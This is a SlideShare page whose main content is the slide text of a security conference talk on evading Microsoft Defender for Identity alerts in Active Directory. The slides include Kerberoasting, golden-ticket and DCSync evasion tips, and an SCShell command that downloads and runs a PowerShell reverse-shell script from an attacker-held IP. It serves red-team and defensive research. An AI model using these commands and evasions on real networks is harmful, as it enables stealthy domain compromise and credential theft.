Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Inflectra
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
Thijs Feryn
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
ControlCase
 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
Elena Simperl
 
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdfSmart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
91mobiles
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Jeffrey Haguewood
 
Monitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR EventsMonitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR Events
Ana-Maria Mihalceanu
 
Key Trends Shaping the Future of Infrastructure.pdf
Key Trends Shaping the Future of Infrastructure.pdfKey Trends Shaping the Future of Infrastructure.pdf
Key Trends Shaping the Future of Infrastructure.pdf
Cheryl Hung
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
James Anderson
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
Frank van Harmelen
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Tobias Schneck
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
Kari Kakkonen
 
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Ramesh Iyer
 

Recently uploaded (20)

FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
 
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
 
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualitySoftware Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
 
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdfSmart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
 
Monitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR EventsMonitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR Events
 
Key Trends Shaping the Future of Infrastructure.pdf
Key Trends Shaping the Future of Infrastructure.pdfKey Trends Shaping the Future of Infrastructure.pdf
Key Trends Shaping the Future of Infrastructure.pdf
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
 
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
 

0wn-premises: Bypassing Microsoft Defender for Identity

  • 1. 0wn-premises: Bypassing Microsoft Defender for Identity Nikhil Mittal 1
  • 2. 0wn Premises: Bypassing MDI AlteredSecurity About me ◎ Twitter - @nikhil_mitt ◎ Founder of Altered Security - alteredsecurity.com ◎ GitHub - github.com/samratashok/ ◎ Creator of Nishang, Deploy-Deception, RACE toolkit and more ◎ Interested in Active Directory and Azure security ◎ Previous Talks and/or Trainings ○ DEF CON, BlackHat, BruCON and more. 2
  • 3. 0wn Premises: Bypassing MDI AlteredSecurity Agenda ◎ Introduction to MDI ◎ Alerts ◎ Bypassing existing Alerts ◎ Techniques that are not detected (no alerts) ◎ Abusing MDI Response Action ◎ Limitations of the research 3
  • 4. 0wn Premises: Bypassing MDI AlteredSecurity Microsoft Defender for Identity (MDI) ◎ Analyzes traffic and logs on domain controllers, builds profiles for identities and then look for anomalies – deviation from “normal” behavior. 4
  • 5. 0wn Premises: Bypassing MDI AlteredSecurity Alerts ◎ Recon phase ◎ Compromised credential phase ◎ Lateral Movement phase ◎ Domain dominance phase ◎ Exfiltration phase Source: https://learn.microsoft.com/en-us/defender-for-identity/alerts-overview 5
  • 6. 0wn Premises: Bypassing MDI AlteredSecurity Bypassing MDI ◎ MDI targets careless attackers! ○ Endpoint opsec is NOT the only opsec ○ Know your tools! Understand how they interact with DCs ○ Always assume that DCs are heavily monitored – Limit your interaction with DCs! 6
  • 7. 0wn Premises: Bypassing MDI AlteredSecurity Bypassing MDI ◎ Question your TTPs and activity ○ Does traffic generated by my activity mix well with the existing traffic? ○ Am I using RC4 in place of AES? ○ Are my LDAP queries too specific? ○ Would the logs look similar to legit ones? ○ Are my Kerberos tickets compliant to Kerberos policy? Do my forged tickets stand out? ○ How could I be more silent? 7
  • 8. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Recon alerts 8 Alert Triggered by Bypass Active Directory attributes reconnaissance (LDAP) Enumeration for RBCD, ‘Don’t require preauth’ with LDAP Filtering Request all attributes and filter offline. Avoid LDAP Filtering User and Group membership reconnaissance (SAMR) Tools like net.exe Don’t use net.exe for enum :) User and IP address reconnaissance (SMB) NetSessionEnum against the DC Avoid doing SMB Session enumeration against DC
  • 9. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Recon alerts Active Directory attributes reconnaissance (LDAP) ◎ Bypass RBCD alert using AD Module (https://github.com/samratashok/ADModule) Get-ADComputer -Filter * -Properties * | ?{$_.PrincipalsAllowedToDelegateToAccount -ne "$null"} | select SamAccountName, PrincipalsAllowedToDelegateToAccount 9
  • 10. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Compromised Credentials 10 Alert Triggered by Bypass Honeytoken activity Use of account marked as Honeytoken account Look for user account attributes like logonCount and badPwdCount to find honeytoken accounts Suspected Kerberos SPN Exposure Requesting TGS tickets for multiple SPNs e.g. “Rubeus kerberoast” Enumerate accounts (request all attributes and filter offline) with SPN and request one TGS ticket at a time Suspected AS-REP Roasting attack Requesting AS-REPs for multiple users e.g. “Rubeus asreproast” Enumeration of users with Preauth disabled Enumerate accounts (request all attributes and filter offline) with preauth disabled and request one AS-REP at a time
  • 11. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Compromised Credentials Suspected Kerberos SPN Exposure ◎ Enumerate using PowerView or ADModule and request one TGS ticket at a time Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName Rubeus.exe kerberoast /user:targetaccount /simple /rc4opsec 11
  • 12. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass - Suspected Kerberos SPN Exposure 12
  • 13. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Lateral Movement 13 Alert Triggered by Bypass Suspected identity theft (pass- the-ticket) Reuse of TGT from more than one machine Was NOT very reliably triggered during testing Suspected overpass-the- hash attack (Kerberos) No previous logon on a machine Could not bypass alert for ‘no previous logon’ No more encryption downgrade alert on use of RC4/NTLM hash but still use AES keys Suspected rogue Kerberos certificate usage No previous use of certificate on a machine Was NOT very reliably triggered during testing
  • 14. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance 14 Alert Triggered by Bypass Remote code execution attempt Use of PSExec, Remote WMI, WinRM (PSRemoting) and service creation Code execution by modifying existing service (tools like SCShell) Suspected DCSync attack Replication request from a machine that is not a DC Use DC machine account, TGT or sIDHistory Principals that have replication rights like DCs, Enterprise DCs, Azure AD Connect, Sharepoint admins etc. Suspected Golden Ticket usage (encryption downgrade) Use of NTLM hash (RC4) of the krbtgt account Use AES256 or AES 128 key of the krbtgt account Suspected Golden Ticket usage (nonexistent account) Forging TGT for a nonexistent account Always use a valid and active DA account Suspected Golden Ticket usage (time anomaly) Use of TGT for longer than the value specified in Kerberos Policy Enumerate the Kerberos Policy and make sure the forged ticket complies with settings
  • 15. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Remote Code Execution Attempt ◎ Using AES keys for Overpass-the-hash and using SCShell (https://github.com/Mr-Un1k0d3r/SCShell) for modifying an existing service ◎ SCShell.exe dcorp-dc XblAuthManager "C:WindowsSystem32cmd.exe /c powershell iex (iwr -UseBasicParsing http://<IP>/Invoke- PowerShellTcp.ps1)“ Note that .NET assembly loader in place of PowerShell work just fine too! 15
  • 16. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass - Remote Code Execution Attempt 16
  • 17. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected DCSync Attack ◎ Use Principals that have replication rights - Domain Controllers and Enterprise Domain Controllers groups always have replication rights! ◎ Run DCSync using credentials/Silver ticket/TGT of DC or having sIDHistory of Domain Controllers or Enterprise Domain Controllers to avoid detection. 17
  • 18. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected DCSync Attack ◎ Silver ticket using DC machine account ○ Need NTLM hash/AES keys of the DC. Usually, after getting DA privileges ◎ TGT of DC machine account ○ Abusing unconstrained delegation with coercion ◎ sIDHistory of DC - Forging a TGT with sIDHistory of DCs and Enterprise DCs Safetykatz.exe '"kerberos::golden /user:dc$ /domain: /sid: /groups:516 /sids:ForestRootSID-516,S-1-5-9 /krbtgt: /ptt“’ ◎ Find other prinicpals that have replication rights using PowerView Get-DomainObjectAcl -SearchBase "DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} 18
  • 19. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass – Suspected DCSync Attack 19
  • 20. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) ◎ MDI or not, it always makes sense to: ○ Enumerate the Kerberos Policy in the target environment ○ Use AES keys of krbtgt account ○ Use an existing and active target account 20
  • 21. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) ◎ Look at logonCount and badPwdCount of a user ◎ Check the Kerberos Policy – Default is TGT lifetime of 10 hours and Renewal time of 7 days SafetyKatz.exe "kerberos::golden /User:Administrator /domain: /sid: /aes256:AES_of_krbtgt /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit" 21
  • 22. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass – Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) 22
  • 23. 0wn Premises: Bypassing MDI AlteredSecurity Techniques that are not detected (no alerts) ◎ Diamond Ticket ◎ Silver Ticket ◎ Delegation configuration ◎ UserAccountControl changes like setting SPN, disabling PreAuth etc. ◎ Changes to AdminSDHolder ◎ New SSPs ◎ Addition of Replication Rights ◎ Many of these are known since the time of Microsoft ATA - https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination 23
  • 24. 0wn Premises: Bypassing MDI AlteredSecurity Abusing MDI Response Action ◎ A user with Security Administrator role can reset password of a user that has a path to domain admin. ◎ In case of Hybrid Identity, DA compromise may lead to Global Administrator compromise! ◎ https://techcommunity.microsoft.com/t5/security-compliance-and-identity/microsoft-defender-for-identity-response-actions/ba-p/3271716 24
  • 25. 0wn Premises: Bypassing MDI AlteredSecurity Limitations of the research ◎ Only alerts related to functionality abuse are tested. ◎ Noisy attacks (brute-force or patched vulnerabilities) are not tested. ◎ No testing for ADFS. ◎ Majority of testing done in a lab environment. Only a couple of production environments tested. ◎ Coupling up MDI with other security solutions would produce better results in terms of detection. 25
  • 26. 0wn Premises: Bypassing MDI AlteredSecurity Thank you! ◎ Questions? ◎ Contact - @nikhil_mitt ◎ nikhil@alteredsecurity.com 26